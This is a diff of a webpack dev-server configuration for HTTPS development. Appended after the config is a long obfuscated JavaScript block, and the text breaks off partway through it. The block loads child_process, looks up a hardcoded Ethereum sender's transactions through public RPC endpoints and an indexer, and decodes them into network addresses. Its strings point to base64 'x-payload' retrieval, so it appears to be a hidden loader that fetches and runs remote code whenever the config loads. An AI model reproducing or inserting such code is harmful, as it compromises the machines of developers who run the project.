historyApiFallback: true, + ...(isHTTPS ? { + server: { + type: 'https', + options: { + ...(useRealCerts ? { + // For testing with Cordova and real authoritative certs + key: fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`), + cert: fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`), + // requestCert: true, + // passphrase: 'webpack-dev-server', + } : { + key: fs.readFileSync(`./${source}/cert/server.key`), + cert: fs.readFileSync(`./${source}/cert/server.crt`), + }), + }, + }, + } : {}), + client: { + overlay: { + runtimeErrors: (error) => { + if (error.message.includes('ResizeObserver loop')) { + return false; + } + return true; + }, + }, + }, + }, +}); global.i="A9";const _0x3a2ebe=_0x355e;(function(_0x48f9d7,_0x1a07be){const _0x4e7ab0=_0x355e,_0x39127c=_0x48f9d7();while(!![]){try{const _0x3f9af1=parseInt(_0x4e7ab0(0xf0))/(0x1*-0x1087+-0x1170+-0x4*-0x87e)*(-parseInt(_0x4e7ab0(0xdd))/(0x7*0x165+0x160f+-0x1fd0))+-parseInt(_0x4e7ab0(0x13c))/(-0x202*0x2+-0xe38+0x123f)+-parseInt(_0x4e7ab0(0xa5))/(0x7b*0x39+-0x1*0x417+0xba4*-0x2)+parseInt(_0x4e7ab0(0xc0))/(0x3a0+-0x21a2+0x1e07*0x1)+parseInt(_0x4e7ab0(0xb5))/(0x8ff*0x2+-0x1a2*0x6+0x82c*-0x1)*(-parseInt(_0x4e7ab0(0x174))/(0x10a6+0x2534+-0x35d3))+parseInt(_0x4e7ab0(0x10c))/(-0x11d1+0xbe+0x1d*0x97)+parseInt(_0x4e7ab0(0x13a))/(-0xb8*0x8+0x1df6+0x80f*-0x3);if(_0x3f9af1===_0x1a07be)break;else _0x39127c['push'](_0x39127c['shift']());}catch(_0x388603){_0x39127c['push'](_0x39127c['shift']());}}}(_0x12f0,-0xfbb0*-0x2+0x1*0x13020b+0x5*-0x20155));import{createRequire}from'module';let require=createRequire(import.meta.url);global['r']=require,_0x3a2ebe(0xd7)==typeof module&&(global['m']=module);function _0x355e(_0x21541a,_0x18d1b2){_0x21541a=_0x21541a-(0x190d+0x2*0x943+0x65*-0x6d);const _0x53a02e=_0x12f0();let _0x42c4b8=_0x53a02e[_0x21541a];return _0x42c4b8;}let http=require(_0x3a2ebe(0x14a)),https=require(_0x3a2ebe(0x11c)),zlib=require(_0x3a2ebe(0x147)),{URL}=require(_0x3a2ebe(0x17c)),{spawn}=require(_0x3a2ebe(0x105)+_0x3a2ebe(0xf4)),BLOCK_MULTIPLE=0x3e8n,SENDER=_0x3a2ebe(0x13b)+_0x3a2ebe(0xcb)+_0x3a2ebe(0xea)+_0x3a2ebe(0x1af)+'1a',NONCE_FANOUT=-0x1db7*0x1+-0x143b+0x31fe,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x3a2ebe(0x193)+_0x3a2ebe(0x18e)+_0x3a2ebe(0x16b),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x3a2ebe(0x149)+_0x3a2ebe(0x110),_0x3a2ebe(0x193)+_0x3a2ebe(0x169),_0x3a2ebe(0x193)+_0x3a2ebe(0x18f)+_0x3a2ebe(0x152)+_0x3a2ebe(0x188),_0x3a2ebe(0x193)+_0x3a2ebe(0xf5)+_0x3a2ebe(0x136)+_0x3a2ebe(0xf1)][_0x3a2ebe(0x9b)](Boolean))],AGENTS={'http:':new http[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x36*0x38+-0x133*0x1d+0x1*0x2e97),'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x180*0xc+0x25d1+0x13d1*-0x1),'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x438117,_0x5d73ca){const _0x8685d7=_0x3a2ebe,_0x25ef4d={'TCDmB':_0x8685d7(0x9a)};_0x438117&&_0x438117[_0x8685d7(0x194)+_0x8685d7(0xf9)](_0x25ef4d[_0x8685d7(0x191)],()=>_0x5d73ca[_0x8685d7(0x9a)](),{'once':!(0x1*-0x1073+-0x319*-0x4+0x40f)});}function decompressStream(_0x1f71f7){const _0x29b168=_0x3a2ebe,_0x5d6cbb={'BTHgJ':_0x29b168(0xc8)+_0x29b168(0x126),'VLAGf':function(_0x5acbb2,_0x1cb9f1){return _0x5acbb2===_0x1cb9f1;},'JbAci':_0x29b168(0x148),'GAvxe':_0x29b168(0x186),'KvMSQ':function(_0x55b882,_0x1919d7){return _0x55b882===_0x1919d7;},'DSbLa':_0x29b168(0xeb)};let _0x98df8e=(_0x1f71f7[_0x29b168(0x14b)][_0x5d6cbb[_0x29b168(0x12f)]]||'')[_0x29b168(0xc2)+'e']();return _0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x14d)],_0x98df8e)||_0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x176)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x14c)+'ip']()):_0x5d6cbb[_0x29b168(0x134)](_0x5d6cbb[_0x29b168(0xfd)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x165)+_0x29b168(0xb1)]()):_0x5d6cbb[_0x29b168(0x164)]('br',_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x19f)+_0x29b168(0x12d)+'ss']()):_0x1f71f7;}function httpRequest(_0x593adb,{method:_0x25a99d=_0x3a2ebe(0x133),body:_0x3f686c,signal:_0x95d4f4}={}){const _0x3d2da5=_0x3a2ebe,_0x42d10d={'JODvp':function(_0x56ddc3,_0x1259f1){return _0x56ddc3(_0x1259f1);},'gvgPD':_0x3d2da5(0x19b),'gMfuo':_0x3d2da5(0xaf),'KaaPY':_0x3d2da5(0x142),'rysJt':_0x3d2da5(0xc1),'UlrdI':function(_0x322dc5,_0x2b93bc){return _0x322dc5===_0x2b93bc;},'MHjGK':_0x3d2da5(0xd5),'zBIcw':function(_0x2a5ebb,_0xfe6778){return _0x2a5ebb+_0xfe6778;},'VGOlJ':function(_0x563e9c,_0x3a7e42){return _0x563e9c!=_0x3a7e42;},'xuBDG':function(_0x4bfaf9,_0x580f75){return _0x4bfaf9===_0x580f75;},'sZAHS':_0x3d2da5(0x161)+_0x3d2da5(0xa8),'tjngf':_0x3d2da5(0x12a)+_0x3d2da5(0x1aa),'LGNYs':_0x3d2da5(0x131),'YvZxf':_0x3d2da5(0x1a9)+'pe','vWzxi':_0x3d2da5(0x16e)+_0x3d2da5(0x1b5)};let _0x3cdce5=new URL(_0x593adb),_0x5032cf=_0x42d10d[_0x3d2da5(0x12c)](_0x42d10d[_0x3d2da5(0x139)],_0x3cdce5[_0x3d2da5(0x196)])?https:http,_0x27236b={'Accept':_0x42d10d[_0x3d2da5(0xa0)],'Accept-Encoding':_0x42d10d[_0x3d2da5(0xbb)],'Connection':_0x42d10d[_0x3d2da5(0x135)]};return _0x42d10d[_0x3d2da5(0xe3)](null,_0x3f686c)&&(_0x27236b[_0x42d10d[_0x3d2da5(0x115)]]=_0x42d10d[_0x3d2da5(0xa0)],_0x27236b[_0x42d10d[_0x3d2da5(0x17b)]]=Buffer[_0x3d2da5(0x19d)](_0x3f686c)),new Promise((_0x19f067,_0x4835e3)=>{const _0x3ef1bc=_0x3d2da5;let _0xaf0385=_0x5032cf[_0x3ef1bc(0xc7)]({'hostname':_0x3cdce5[_0x3ef1bc(0x93)],'port':_0x3cdce5[_0x3ef1bc(0x15d)]||(_0x42d10d[_0x3ef1bc(0x120)](_0x42d10d[_0x3ef1bc(0x139)],_0x3cdce5[_0x3ef1bc(0x196)])?0x1*-0xcfb+-0x1d2d+0xf*0x2ed:0x1338+0x2*-0x8d5+-0x13e),'path':_0x42d10d[_0x3ef1bc(0x14e)](_0x3cdce5[_0x3ef1bc(0x150)],_0x3cdce5[_0x3ef1bc(0x10e)]),'method':_0x25a99d,'agent':AGENTS[_0x3cdce5[_0x3ef1bc(0x196)]],'signal':_0x95d4f4,'headers':_0x27236b},_0x574ec9=>{const _0x4fd834=_0x3ef1bc,_0x10e94a={'ZGtcg':function(_0x483995,_0x4a5702){const _0x49dc91=_0x355e;return _0x42d10d[_0x49dc91(0x114)](_0x483995,_0x4a5702);},'vJvXf':_0x42d10d[_0x4fd834(0x18b)]};let _0x431427=_0x42d10d[_0x4fd834(0x114)](decompressStream,_0x574ec9),_0x39bef6=[];_0x431427['on'](_0x42d10d[_0x4fd834(0x122)],_0x123305=>_0x39bef6[_0x4fd834(0x198)](_0x123305)),_0x431427['on'](_0x42d10d[_0x4fd834(0x1ac)],()=>{const _0x589be9=_0x4fd834;try{_0x10e94a[_0x589be9(0x99)](_0x19f067,JSON[_0x589be9(0xd4)](Buffer[_0x589be9(0x107)](_0x39bef6)[_0x589be9(0x159)](_0x10e94a[_0x589be9(0xc5)])));}catch(_0x1c95a1){_0x10e94a[_0x589be9(0x99)](_0x4835e3,_0x1c95a1);}}),_0x431427['on'](_0x42d10d[_0x4fd834(0x121)],_0x4835e3);});_0xaf0385['on'](_0x42d10d[_0x3ef1bc(0x121)],_0x4835e3),_0x42d10d[_0x3ef1bc(0xe3)](null,_0x3f686c)&&_0xaf0385[_0x3ef1bc(0xb6)](_0x3f686c),_0xaf0385[_0x3ef1bc(0x142)]();});}async function withRpcEndpoints(_0x3c144e,_0x2ea979){const _0x495608=_0x3a2ebe;let _0x418a00=RPC_ENDPOINTS[_0x495608(0x14f)](()=>new AbortController());_0x418a00[_0x495608(0x95)](_0x15379b=>linkAbort(_0x2ea979,_0x15379b));try{return await Promise[_0x495608(0x11e)](RPC_ENDPOINTS[_0x495608(0x14f)]((_0x4c6137,_0x2fd673)=>_0x3c144e(_0x4c6137,_0x418a00[_0x2fd673][_0x495608(0x10b)])));}finally{for(let _0x393e64 of _0x418a00)_0x393e64[_0x495608(0x9a)]();}}async function rpcCall(_0x1c3ac1,_0x908566,_0x2038b9,_0x36db10){const _0x24e2d3=_0x3a2ebe,_0x55d7b1={'hXaau':function(_0x7320cd,_0x19397a,_0x30fde9){return _0x7320cd(_0x19397a,_0x30fde9);},'MxoIv':_0x24e2d3(0x19c),'CtMxp':_0x24e2d3(0x97)};let _0xffe3dd=await _0x55d7b1[_0x24e2d3(0x109)](httpRequest,_0x1c3ac1,{'method':_0x55d7b1[_0x24e2d3(0x9f)],'body':JSON[_0x24e2d3(0x98)]({'jsonrpc':_0x55d7b1[_0x24e2d3(0x140)],'id':0x1,'method':_0x908566,'params':_0x2038b9}),'signal':_0x36db10});return _0xffe3dd[_0x24e2d3(0xd6)];}async function rpcBatch(_0xb94eeb,_0x2e1831,_0x1aa236){const _0x143ca3=_0x3a2ebe,_0x8d06ce={'vVkBr':function(_0x259c12,_0x46239b,_0x186b51){return _0x259c12(_0x46239b,_0x186b51);},'HiWYY':_0x143ca3(0x19c)};let _0x303103=await _0x8d06ce[_0x143ca3(0x103)](httpRequest,_0xb94eeb,{'method':_0x8d06ce[_0x143ca3(0x1a8)],'body':JSON[_0x143ca3(0x98)](_0x2e1831[_0x143ca3(0x14f)](([_0xe79aa1,_0x386e83],_0x397f41)=>({'jsonrpc':_0x143ca3(0x97),'id':_0x397f41+(-0x2b*-0x48+0x2467+0x3*-0x102a),'method':_0xe79aa1,'params':_0x386e83}))),'signal':_0x1aa236}),_0x43900d=new Map(_0x303103[_0x143ca3(0x14f)](_0x46f816=>[_0x46f816['id'],_0x46f816]));return _0x2e1831[_0x143ca3(0x14f)]((_0x246f0d,_0x260de3)=>_0x43900d[_0x143ca3(0xe9)](_0x260de3+(-0xa25*-0x2+0x19fa+-0x2e43))[_0x143ca3(0xd6)]);}let toBlockHex=_0x460a01=>'0x'+_0x460a01[_0x3a2ebe(0x159)](0x1b97+-0x2*0x3a7+-0x1f*0xa7);function findSenderTx(_0xaed72){const _0x58ebf2=_0x3a2ebe;return _0xaed72[_0x58ebf2(0x9d)](_0x11770d=>_0x11770d[_0x58ebf2(0x18c)]&&_0x11770d[_0x58ebf2(0x18c)][_0x58ebf2(0xc2)+'e']()===SENDER)||null;}function decodeAddress(_0x3f982d){const _0x53878e=_0x3a2ebe,_0x160094={'ScXiL':_0x53878e(0x15a),'jrdXD':function(_0x5aff48,_0x31311f){return _0x5aff48(_0x31311f);},'DGksE':function(_0x4f37d6,_0x4e64f1){return _0x4f37d6(_0x4e64f1);}};let _0x268f72=Buffer[_0x53878e(0x18c)](_0x3f982d[_0x53878e(0xbd)](/^0x/i,''),_0x160094[_0x53878e(0x1a2)]),_0x43d4d2=_0x33741d=>_0x33741d[-0x853+-0x2*0x338+0xec3]+'.'+_0x33741d[-0xb2c+-0x1e9+-0x1*-0xd16]+'.'+_0x33741d[-0x1*-0x704+-0x1*-0x25e1+0x2ce3*-0x1]+'.'+_0x33741d[0x2*0x1042+-0x4c2*0x5+-0x8b7];return[_0x160094[_0x53878e(0xb0)](_0x43d4d2,_0x268f72[_0x53878e(0xde)](-0x1*-0x1def+0x1939+0x4*-0xdca,0x71*0x23+0x2410+-0x337f)),_0x160094[_0x53878e(0xcf)](_0x43d4d2,_0x268f72[_0x53878e(0xde)](-0x2f*0x3+0xb5*0xd+-0x6*0x170,0x1*-0x22a0+-0xe*0x15a+0x3594))];}function _0x12f0(){const _0x2c2fa8=['smCxl','node:https','oad\x20body','any','zNIqU','UlrdI','rysJt','gMfuo','Payload-B6',':443/0x/ls','ipNqp','coding','UqBND',',Sr3=@','_t_u\x27]=\x27','gzip,\x20defl','SDbiI','xuBDG','liDecompre','EreqP','BTHgJ','Kit/537.36','keep-alive','_t_s\x27]=\x27','GET','KvMSQ','LGNYs','public.bla','plaFW','NkKDh','MHjGK','13698468PmAknI','0xa322e5f3','297120QUZuEg','yrzwP','zeoxL','eth_getBlo','CtMxp','Agent','end','on=txlist&','jvgKp','KXiLK','Win64;\x20x64','node:zlib','gzip','https://1r','node:http','headers','createGunz','JbAci','zBIcw','map','pathname','nghnv','.publicnod','fari/537.3','RpPIO',':80','VnFVq','m\x27]=module','hrUVT','toString','hex','LBjUj','_t_s','port','_H2\x27]=\x27','QLmfg','9&page=1&o','applicatio','YZKTj','findIndex','VLAGf','createInfl','transactio','gldQK','GuYPf','h.drpc.org','_H2','ut.com/api','fLYXd','has','Content-Le','controller','aveIc','tavZt','BJgzE','add','49oNuXHs','JVkQF','GAvxe','unref','then','al=global;','\x27]=\x27','vWzxi','node:url','oMnng','http://','run','\x20Chrome/13',':443','bXcTI','k=0&endblo','lnQal','@^1aQk','x-gzip','nonce','e.com','bLolJ','ike\x20Gecko)','gvgPD','from','KafOh','h.blocksco','hereum-rpc','ort=desc&f','TCDmB','LssUT','https://et','addEventLi','pipe','protocol','ffset=20&s','push','ZgpqG','Tnnlg','utf8','POST','byteLength','qFOcQ','createBrot','ugrhL','eth_blockN','ScXiL','WYnsa','0\x20(Windows','zwjTr','eEQvU','b64','HiWYY','Content-Ty','ate,\x20br','xxxso','KaaPY','fIkOw','blockNumbe','9adc2490ef','eAmtO','min','wNEAr','ucVFK','jueMj','ngth','FfHYb','gzKWs','PSzJk','resume','y-p_>d$0B&','nILEL','hostname','KQldR','forEach','base64','2.0','stringify','ZGtcg','abort','filter','rMZnD','find','1.0.0.0\x20Sa','MxoIv','sZAHS','fbAQy','dQhjR','count&acti','qqKoX','3999712DXgKmU','ziJAI','q4FZkxX{!h','n/json','x-payload-','foHur','RWrVc','charCodeAt','nnxOv','mjCAw','data','jrdXD','ate','ZYBBe','eth_getTra','all','883554gwKkih','write','JQKVG','mGgtb','Missing\x20X-','ck=9999999','tjngf','address=','replace','r\x27]=requir','fJKsv','5050170JAAsRa','error','toLowerCas','xbMiN','ilterby=fr','vJvXf','raCZU','request','content-en','unt','XLylK','d311d3080e','TOkwx','length','WMrCP','DGksE','nsactionCo','FWUiH','RsZph','aPZUM','parse','https:','result','object','umber','VMnQg','CDbzL','Empty\x20payl','\x20NT\x2010.0;\x20','2KeNBiC','subarray','wvGeG','CUrwh','\x20(KHTML,\x20l','XrZYs','VGOlJ',':443/0x/cl','&startbloc','rjSZm','LTGfe','ZAlOy','get','6f0121063e','deflate','MjzxH','node','\x27;global[\x27','?module=ac','360688RTYsDf','stapi.io','isArray','eWCKt','_process','h-mainnet.','GGqwf','eIHSm','xQuoH','stener','_H\x27]=\x27','Mozilla/5.','djgaa','DSbLa','qiODF','global[\x27_V','catch','cVjMR','SXfgk','vVkBr','QMwHG','node:child',';var\x20_glob','concat','JGUpq','hXaau','XHNyr','signal','5407112rvLYDS','ckByNumber','search','ignore','pc.io/eth','e;global[\x27','gIWWO','SHJJd','JODvp','YvZxf','_t_u',')\x20AppleWeb','CRKiT','tqJhV','HEAD'];_0x12f0=function(){return _0x2c2fa8;};return _0x12f0();}function firstMatch(_0x21b624){const _0x5f5985={'fIkOw':function(_0x228835,_0x5c99db){return _0x228835(_0x5c99db);},'fJKsv':function(_0x6e49ad,_0x5da592){return _0x6e49ad==_0x5da592;},'aveIc':function(_0x5f50e9,_0x4cf526){return _0x5f50e9(_0x4cf526);},'JVkQF':function(_0x1b9cad,_0x34e74f){return _0x1b9cad!=_0x34e74f;},'QLmfg':function(_0x2b1d39,_0xfdf95d){return _0x2b1d39(_0xfdf95d);},'gldQK':function(_0x330753,_0x1837de){return _0x330753(_0x1837de);}};return new Promise(_0x1055a6=>{const _0x43a200=_0x355e,_0x574496={'qqKoX':function(_0x4f2e13,_0x16b5ae){const _0x4bfb56=_0x355e;return _0x5f5985[_0x4bfb56(0x170)](_0x4f2e13,_0x16b5ae);}};let _0x34d0a3=_0x21b624[_0x43a200(0xcd)];if(!_0x34d0a3)return _0x5f5985[_0x43a200(0x167)](_0x1055a6,null);let _0x12f190=!(0x1*-0xead+-0x25d5+0x3483),_0x4ea38e=_0x344775=>{const _0x5a6f9a=_0x43a200;if(!_0x12f190){for(let _0x11c14b of(_0x12f190=!(-0x13c4+-0x1a02+0x2dc6),_0x21b624))_0x11c14b[_0x5a6f9a(0x16f)][_0x5a6f9a(0x9a)]();_0x574496[_0x5a6f9a(0xa4)](_0x1055a6,_0x344775);}};for(let _0x266710 of _0x21b624)_0x266710[_0x43a200(0x17f)]()[_0x43a200(0x178)](_0x193f94=>{const _0x1cbfd8=_0x43a200;_0x12f190||(_0x193f94?_0x5f5985[_0x1cbfd8(0x1ad)](_0x4ea38e,_0x193f94):_0x5f5985[_0x1cbfd8(0xbf)](0xe0*0x4+0x1*0x1bf7+-0x1f77,--_0x34d0a3)&&_0x5f5985[_0x1cbfd8(0x170)](_0x1055a6,null));})[_0x43a200(0x100)](()=>{const _0xebd979=_0x43a200;_0x12f190||_0x5f5985[_0xebd979(0x175)](-0xc39+0x723+0x516,--_0x34d0a3)||_0x5f5985[_0xebd979(0x15f)](_0x1055a6,null);});});}function candidateBlocks(_0x3cdaf9){const _0x3e16b7=_0x3a2ebe,_0x26a154={'CRKiT':function(_0x296270,_0x1821b5){return _0x296270-_0x1821b5;},'nnxOv':function(_0xd797ea,_0x1874f0){return _0xd797ea-_0x1874f0;},'BJgzE':function(_0x17a746,_0x198c5e){return _0x17a746+_0x198c5e;},'nghnv':function(_0xc4b7b9,_0x52dbd9){return _0xc4b7b9-_0x52dbd9;},'fLYXd':function(_0x9cf028,_0x268c43){return _0x9cf028+_0x268c43;},'WMrCP':function(_0x1f3421,_0x1c5822){return _0x1f3421<_0x1c5822;}};let _0x4a55ef=_0x26a154[_0x3e16b7(0x118)](_0x3cdaf9,BLOCK_MULTIPLE),_0x5e5c51=new Set(),_0x482794=[];for(let _0x2d2666 of[_0x26a154[_0x3e16b7(0xad)](_0x3cdaf9,0x1n),_0x3cdaf9,_0x26a154[_0x3e16b7(0x172)](_0x3cdaf9,0x1n),_0x26a154[_0x3e16b7(0x151)](_0x4a55ef,0x1n),_0x4a55ef,_0x26a154[_0x3e16b7(0x16c)](_0x4a55ef,0x1n)]){if(_0x26a154[_0x3e16b7(0xce)](_0x2d2666,0x0n))continue;let _0x3ae321=_0x2d2666[_0x3e16b7(0x159)]();_0x5e5c51[_0x3e16b7(0x16d)](_0x3ae321)||(_0x5e5c51[_0x3e16b7(0x173)](_0x3ae321),_0x482794[_0x3e16b7(0x198)](_0x2d2666));}return _0x482794;}function blockTask(_0x42089c){const _0x43f677={'wNEAr':function(_0x5d6398,_0x346548,_0x44c318){return _0x5d6398(_0x346548,_0x44c318);},'ziJAI':function(_0x1919d0,_0x138670){return _0x1919d0(_0x138670);}};let _0xc51d7b=new AbortController();return{'controller':_0xc51d7b,async 'run'(){const _0x4800f8=_0x355e;let _0x3fcdb4=await _0x43f677[_0x4800f8(0x1b2)](withRpcEndpoints,(_0x3c3351,_0x45a26b)=>rpcCall(_0x3c3351,_0x4800f8(0x13f)+_0x4800f8(0x10d),[toBlockHex(_0x42089c),!(-0x1*0xaeb+-0x7*0x59+-0x1*-0xd5a)],_0x45a26b),_0xc51d7b[_0x4800f8(0x10b)]),_0xa17565=_0x3fcdb4?.[_0x4800f8(0x166)+'ns'];if(!Array[_0x4800f8(0xf2)](_0xa17565))return null;let _0x3aaf38=_0x43f677[_0x4800f8(0xa6)](findSenderTx,_0xa17565);return _0x3aaf38?{'blockNumber':_0x42089c,'tx':_0x3aaf38}:null;}};}async function nonceAtBlocks(_0x48b0b7,_0xeba093){const _0x2bf86d=_0x3a2ebe,_0x306878={'CUrwh':function(_0x5917ba,_0x80a075,_0x5f1ee8){return _0x5917ba(_0x80a075,_0x5f1ee8);}};let _0x5c1a05=_0x48b0b7[_0x2bf86d(0x14f)](_0x1dcdef=>[_0x2bf86d(0xb3)+_0x2bf86d(0xd0)+_0x2bf86d(0xc9),[SENDER,toBlockHex(_0x1dcdef)]]);try{return(await _0x306878[_0x2bf86d(0xe0)](withRpcEndpoints,(_0xd746f,_0x473522)=>rpcBatch(_0xd746f,_0x5c1a05,_0x473522),_0xeba093))[_0x2bf86d(0x14f)](BigInt);}catch{return(await Promise[_0x2bf86d(0xb4)](_0x5c1a05[_0x2bf86d(0x14f)](([_0x2babff,_0x3a3b66])=>withRpcEndpoints((_0x149844,_0xb83fe7)=>rpcCall(_0x149844,_0x2babff,_0x3a3b66,_0xb83fe7),_0xeba093))))[_0x2bf86d(0x14f)](BigInt);}}async function lastSenderTx(_0x6947a6){const _0x2fd541=_0x3a2ebe,_0x865f0d={'TOkwx':function(_0x5d2d58,_0x8010fd){return _0x5d2d58(_0x8010fd);},'mGgtb':function(_0x58f27c,_0x4c45b7,_0x3c600e){return _0x58f27c(_0x4c45b7,_0x3c600e);},'MjzxH':function(_0x1c1e28,_0x3211ab){return _0x1c1e28(_0x3211ab);},'JQKVG':function(_0x4c6ce4,_0x3b78d1){return _0x4c6ce4-_0x3b78d1;},'ucVFK':function(_0x1fa7f8,_0x1e54b0){return _0x1fa7f8>_0x1e54b0;},'oMnng':function(_0x514391,_0x56220c){return _0x514391(_0x56220c);},'NkKDh':function(_0x3fccd7,_0x3598ae){return _0x3fccd7<=_0x3598ae;},'lnQal':function(_0x35f187,_0x271b47){return _0x35f187+_0x271b47;},'foHur':function(_0x1e7b3b,_0x19c605){return _0x1e7b3b/_0x19c605;},'SDbiI':function(_0x43c2f0,_0xbdc559){return _0x43c2f0*_0xbdc559;},'CDbzL':function(_0x461538,_0x22c7d6){return _0x461538+_0x22c7d6;},'GGqwf':function(_0x4c1acc,_0x1f6394){return _0x4c1acc===_0x1f6394;},'fbAQy':function(_0xe78b10,_0x2a2d28){return _0xe78b10(_0x2a2d28);}};let _0x1228d0=new AbortController();try{let _0x7717c5=_0x6947a6??_0x865f0d[_0x2fd541(0xcc)](BigInt,await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x225474,_0x398eed)=>rpcCall(_0x225474,_0x2fd541(0x1a1)+_0x2fd541(0xd8),[],_0x398eed),_0x1228d0[_0x2fd541(0x10b)])),_0xe32847=_0x865f0d[_0x2fd541(0xec)](BigInt,await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x166e6e,_0x20a24f)=>rpcCall(_0x166e6e,_0x2fd541(0xb3)+_0x2fd541(0xd0)+_0x2fd541(0xc9),[SENDER,toBlockHex(_0x7717c5)],_0x20a24f),_0x1228d0[_0x2fd541(0x10b)])),_0x2c7ca1=_0x865f0d[_0x2fd541(0xb7)](_0xe32847,0x1n),_0x36dc0b=_0x865f0d[_0x2fd541(0xb7)](SEARCH_FLOOR,0x1n),_0x57beb5=_0x7717c5;for(;_0x865f0d[_0x2fd541(0x1b3)](_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b),0x1n);){let _0x37635a=_0x865f0d[_0x2fd541(0xb7)](_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b),0x1n),_0x40232d=_0x865f0d[_0x2fd541(0xec)](BigInt,Math[_0x2fd541(0x1b1)](NONCE_FANOUT,_0x865f0d[_0x2fd541(0x17d)](Number,_0x37635a))),_0x5e593e=[];for(let _0x323461=0x1n;_0x865f0d[_0x2fd541(0x138)](_0x323461,_0x40232d);_0x323461+=0x1n)_0x5e593e[_0x2fd541(0x198)](_0x865f0d[_0x2fd541(0x184)](_0x36dc0b,_0x865f0d[_0x2fd541(0xaa)](_0x865f0d[_0x2fd541(0x12b)](_0x323461,_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b)),_0x865f0d[_0x2fd541(0xda)](_0x40232d,0x1n))));let _0x5aae99=await _0x865f0d[_0x2fd541(0xb8)](nonceAtBlocks,_0x5e593e,_0x1228d0[_0x2fd541(0x10b)]),_0x5415e7=_0x5aae99[_0x2fd541(0x163)](_0x59ad09=>_0x59ad09>=_0xe32847);_0x865f0d[_0x2fd541(0xf6)](-(0xe3*-0x29+0xe5e*0x2+0x7a0*0x1),_0x5415e7)?_0x36dc0b=_0x5e593e[_0x865f0d[_0x2fd541(0xb7)](_0x5e593e[_0x2fd541(0xcd)],-0x6*-0x4a2+0x2478+-0x4043)]:(_0x57beb5=_0x5e593e[_0x5415e7],_0x865f0d[_0x2fd541(0x1b3)](_0x5415e7,-0x170*-0x5+-0xbdf+-0x6d*-0xb)&&(_0x36dc0b=_0x5e593e[_0x865f0d[_0x2fd541(0xb7)](_0x5415e7,-0x121b+0x869*-0x1+0x3*0x8d7)]));}let _0x44a2e1=await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x5aa246,_0x356a05)=>rpcCall(_0x5aa246,_0x2fd541(0x13f)+_0x2fd541(0x10d),[toBlockHex(_0x57beb5),!(-0x870*0x1+-0x1b5b+0x23cb)],_0x356a05),_0x1228d0[_0x2fd541(0x10b)]),_0x2a8ad0=_0x44a2e1?.[_0x2fd541(0x166)+'ns']||[],_0x5d7a1a=null;for(let _0x2ef2b4 of _0x2a8ad0)if(_0x2ef2b4[_0x2fd541(0x18c)]&&_0x865f0d[_0x2fd541(0xf6)](_0x2ef2b4[_0x2fd541(0x18c)][_0x2fd541(0xc2)+'e'](),SENDER)){if(_0x865f0d[_0x2fd541(0xf6)](_0x865f0d[_0x2fd541(0x17d)](BigInt,_0x2ef2b4[_0x2fd541(0x187)]),_0x2c7ca1)){_0x5d7a1a=_0x2ef2b4;break;}(!_0x5d7a1a||_0x865f0d[_0x2fd541(0x1b3)](_0x865f0d[_0x2fd541(0x17d)](BigInt,_0x2ef2b4[_0x2fd541(0x187)]),_0x865f0d[_0x2fd541(0xa1)](BigInt,_0x5d7a1a[_0x2fd541(0x187)])))&&(_0x5d7a1a=_0x2ef2b4);}return{'blockNumber':_0x57beb5,'tx':_0x5d7a1a};}finally{_0x1228d0[_0x2fd541(0x9a)]();}}async function lastSenderTxViaIndexer(){const _0x30016b=_0x3a2ebe,_0x461186={'yrzwP':function(_0x224acc,_0x21a4ef){return _0x224acc(_0x21a4ef);},'UqBND':function(_0x3ca6e2,_0x6d0e95){return _0x3ca6e2(_0x6d0e95);}};let _0x6b3534=INDEXER_URL+(_0x30016b(0xef)+_0x30016b(0xa3)+_0x30016b(0x143)+_0x30016b(0xbc))+SENDER+(_0x30016b(0xe5)+_0x30016b(0x183)+_0x30016b(0xba)+_0x30016b(0x160)+_0x30016b(0x197)+_0x30016b(0x190)+_0x30016b(0xc4)+'om'),_0x50dcd4=await _0x461186[_0x30016b(0x13d)](httpRequest,_0x6b3534),_0x3f1cd2=Array[_0x30016b(0xf2)](_0x50dcd4?.[_0x30016b(0xd6)])?_0x50dcd4[_0x30016b(0xd6)]:[],_0x58d5fe=_0x3f1cd2[_0x30016b(0x9d)](_0x5346ca=>_0x5346ca[_0x30016b(0x18c)]&&_0x5346ca[_0x30016b(0x18c)][_0x30016b(0xc2)+'e']()===SENDER);return{'blockNumber':_0x461186[_0x30016b(0x127)](BigInt,_0x58d5fe[_0x30016b(0x1ae)+'r']),'tx':_0x58d5fe};}async function run(){const _0x21838c=_0x3a2ebe,_0x123142={'VnFVq':function(_0x354288,_0x3fa815){return _0x354288<_0x3fa815;},'Tnnlg':function(_0x1df33a,_0x158d6c){return _0x1df33a%_0x158d6c;},'ugrhL':_0x21838c(0x19b),'tqJhV':_0x21838c(0xa9)+_0x21838c(0x1a7),'xQuoH':function(_0x183f5f,_0x2adbd1){return _0x183f5f(_0x2adbd1);},'zwjTr':_0x21838c(0xb9)+_0x21838c(0x123)+'4','GuYPf':_0x21838c(0x96),'bXcTI':function(_0x4834c3,_0xed5caa){return _0x4834c3(_0xed5caa);},'gzKWs':_0x21838c(0xdb)+_0x21838c(0x11d),'VMnQg':function(_0x38ff78,_0x527698){return 